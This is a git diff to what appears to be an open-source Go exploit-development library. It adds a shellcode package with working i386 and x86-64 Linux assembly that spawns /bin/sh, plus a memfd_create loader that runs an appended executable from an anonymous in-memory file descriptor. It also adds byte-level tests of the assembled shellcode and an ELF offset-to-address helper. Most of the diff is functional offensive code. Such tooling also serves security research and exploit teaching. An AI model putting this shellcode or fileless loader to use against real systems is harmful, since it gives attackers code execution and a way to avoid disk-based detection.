diff --git a/.travis.yml b/.travis.yml index 2b63df0..3fd31b2 100644 --- a/.travis.yml +++ b/.travis.yml @@ -39,3 +39,4 @@ script: - go test -v -run TestUnpackUint64BE - go test -v -run TestUnpackUint32BE - go test -v -run TestUnpackUint16BE + - go test -v -run TestX8664LinuxShell diff --git a/elf.go b/elf.go index f046ef0..eadd42f 100644 --- a/elf.go +++ b/elf.go @@ -51,6 +51,21 @@ func NewELF(filename string) (*ELF, error) { }, nil } +// OffsetToVA determines the virtual address for the specified file offset +func (e *ELF) OffsetToAddr(offset uint64) (uint64, error) { + for i := 0; i < len(e.E.Progs); i++ { + s := e.E.Progs[i] + start := s.Off + end := s.Off + s.Filesz + + if offset >= start && offset < end { + return offset - s.Off + s.Vaddr, nil + } + } + + return 0, errors.New("Offset is not in range of an ELF segment") +} + // BSS is an ELF method that returns the virtual address of the specified offset into the .bss section func (e *ELF) BSS(offset uint64) (uint64, error) { section := e.E.Section(".bss") diff --git a/shellcode/i386.go b/shellcode/i386.go new file mode 100644 index 0000000..ba01e59 --- /dev/null +++ b/shellcode/i386.go @@ -0,0 +1,37 @@ +package shellcode + +import ( + sp "github.com/zznop/sploit" +) + +// I386 is a shellcode interface for 32-bit intel processors +type I386 struct { + arch *sp.Processor +} + +// NewI386 returns a pointer to a I386 type +func NewI386() *I386 { + arch := &sp.Processor{ + Architecture: sp.ArchI386, + Endian: sp.LittleEndian, + } + + return &I386{ + arch: arch, + } +} + +// LinuxShell is a method for JIT compiling shellcode that executes /bin/sh +func (i386 *I386) LinuxShell() ([]byte, error) { + instrs := ` +xor ecx, ecx +mul ecx +push ecx +push 0x68732f2f +push 0x6e69622f +mov ebx, esp +mov al, 0xb +int 0x80 +` + return sp.Asm(i386.arch, instrs) +} diff --git a/shellcode/i386_test.go b/shellcode/i386_test.go new file mode 100644 index 0000000..4f03fc1 --- /dev/null +++ b/shellcode/i386_test.go @@ -0,0 +1,22 @@ +package shellcode + +import ( + "bytes" + "testing" +) + +func TestI386LinuxShell(t *testing.T) { + i386 := NewI386() + shellcode, err := i386.LinuxShell() + if err != nil { + t.Fatal(err) + } + + scBytes := []byte{0x31, 0xc9, 0xf7, 0xe1, 0x51, 0x68, 0x2f, 0x2f, + 0x73, 0x68, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, + 0xe3, 0xb0, 0x0b, 0xcd, 0x80} + + if bytes.Compare(shellcode, scBytes) != 0 { + t.Fatal("Shellcode bytes != expected") + } +} diff --git a/shellcode/x8664.go b/shellcode/x8664.go new file mode 100644 index 0000000..4f717f7 --- /dev/null +++ b/shellcode/x8664.go @@ -0,0 +1,122 @@ +package shellcode + +import ( + "bytes" + sp "github.com/zznop/sploit" +) + +// X8664 is a shellcode interface for 64-bit intel processors +type X8664 struct { + arch *sp.Processor +} + +// NewX8664 returns a pointer to a shellcode X8664 type +func NewX8664() *X8664 { + arch := &sp.Processor{ + Architecture: sp.ArchX8664, + Endian: sp.LittleEndian, + } + + return &X8664{ + arch: arch, + } +} + +// LinuxMemFdExec constructs a payload to run the supplied executable in an anonymous file descriptor +func (x8664 *X8664) LinuxMemFdExec(payload []byte) ([]byte, error) { + instrs := ` +jmp past + +executable_size: .quad 0x4141414141414141 /* fixed up with size of executable */ +fd_name: .byte 0 /* emtpy file descriptor name */ +fd_path: .ascii "/proc/self/fd/\0\0\0\0\0" /* path to file descriptor for exec call */ + +past: + mov rax, 319 /* __NR_memfd_create syscall num */ + lea rdi, [rip+fd_name] /* ptr to empty file descriptor name */ + mov rsi, 1 /* MFD_CLOEXEC (close file descriptor on exec) */ + syscall /* create anonymous fd */ + test rax, rax /* good file descriptor? */ + js done /* return if bad file descriptor */ + mov rdi, rax /* file descriptor (arg_0) */ + mov rax, 1 /* __NR_write */ + lea rsi, [rip+executable] /* pointer to executable base (arg_1) */ + mov rdx, qword [rip+executable_size] /* load size of executable into rdx (arg_2) */ + syscall /* write the executable to the fd */ + cmp rax, rdx /* did everything get written successfully? */ + jnz done /* fail out if all bytes were not written */ + call fixup_fd_path /* fixup the fd path string by converting the fd to a str */ + mov rax, 59 /* execve syscall num */ + lea rdi, [rip+fd_path] /* filename */ + xor rcx, rcx /* zeroize rcx (terminator for argv) */ + push rcx /* push 0 to stack */ + push rdi /* push address of fd path to the stack */ + mov rsi, rsp /* argv (address of fd path, null) */ + xor rdx, rdx /* envp = NULL */ + syscall /* call execve (won't return if successful) */ + add rsp, 16 /* restore the stack */ +done: + ret /* return */ + +/* + * fixup the fd path string with the file descrpitor - + * basically sprintf(foo, "/proc/self/fd/%i", fd) + */ + +fixup_fd_path: + mov rax, rdi /* number to be converted */ + mov rcx, 10 /* divisor */ + xor bx, bx /* count digits */ +.divide: + xor rdx, rdx /* high part = 0 */ + div rcx /* rcx = rcx:rax/rcx, rdx = remainder */ + push dx /* dx is a digit in range [0..9] */ + inc bx /* count digits */ + test rax, rax /* rax is 0? */ + jnz .divide /* no, continue */ + + /* pop digits from stack in reverse order */ + mov cx, bx /* number of digits */ + lea rsi, [rip+fd_path] /* rsi points to fd path string buffer */ + add rsi, 14 /* start of location to write the fd (as a string) */ +.next_digit: + pop ax + add al, '0' /* convert to ASCII */ + mov [rsi], al /* write it to the buffer */ + inc si + loop .next_digit + ret + +/* appended script or ELF executable */ +executable: +` + unconfigured, err := sp.Asm(x8664.arch, instrs) + if err != nil { + return nil, err + } + + size := sp.PackUint64LE(uint64(len(payload))) + configured := bytes.Replace(unconfigured, []byte{0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41}, size, 1) + configured = append(configured, payload...) + return configured, nil +} + +// LinuxShell is a method for JIT compiling x86-64 shellcode that executes /bin/sh +func (x8664 *X8664) LinuxShell() ([]byte, error) { + instrs := ` + xor eax, eax + mov rbx, 0xFF978CD091969DD1 + neg rbx + push rbx + push rsp + pop rdi + cdq + push rdx + push rdi + push rsp + pop rsi + mov al, 0x3b + syscall +` + return sp.Asm(x8664.arch, instrs) +} diff --git a/shellcode/x8664_test.go b/shellcode/x8664_test.go new file mode 100644 index 0000000..9719f16 --- /dev/null +++ b/shellcode/x8664_test.go @@ -0,0 +1,41 @@ +package shellcode + +import ( + "bytes" + "testing" +) + +func TestX8664MemFdExec(t *testing.T) { + payload := ` +#/bin/bash + +echo "Hello from memfd_create exec sploit shellcode" > ./success.txt +` + + x8664 := NewX8664() + shellcode, err := x8664.LinuxMemFdExec([]byte(payload)) + if err != nil { + t.Fatal(err) + } + + if len(shellcode) != 263 { + t.Fatal("Shellcode size != 263") + } +} + +func TestX8664LinuxShell(t *testing.T) { + x8664 := NewX8664() + shellcode, err := x8664.LinuxShell() + if err != nil { + t.Fatal(err) + } + + scBytes := []byte{0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91, + 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, 0x53, + 0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0, + 0x3b, 0x0f, 0x05} + + if bytes.Compare(shellcode, scBytes) != 0 { + t.Fatal("Shellcode bytes != expected") + } +}